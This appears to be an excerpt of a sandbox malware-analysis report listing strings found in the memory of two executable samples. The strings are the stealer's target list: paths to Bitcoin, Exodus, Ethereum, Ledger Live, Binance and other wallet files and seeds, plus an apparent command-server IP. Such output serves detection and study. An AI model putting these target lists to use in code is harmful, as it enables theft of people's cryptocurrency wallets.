Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: random(4).exe, 00000000.00000003.1845169784.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "*"],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.j
Source: random(4).exe, 00000000.00000003.1845169784.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":["*"],"z":"Wallets/Electrum-LTC"Q
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: random(4).exe, 00000000.00000003.1845169784.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""]
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: random(4).exe, 00000000.00000003.1764078892.000000000539D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWe
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16nes\AppData\Roaming\Binance\simple-storage.jsonm
Source: random(4).exe, 00000000.00000003.1845169784.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""]
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: random(4).exe, 00000000.00000003.1791761313.0000000000D49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
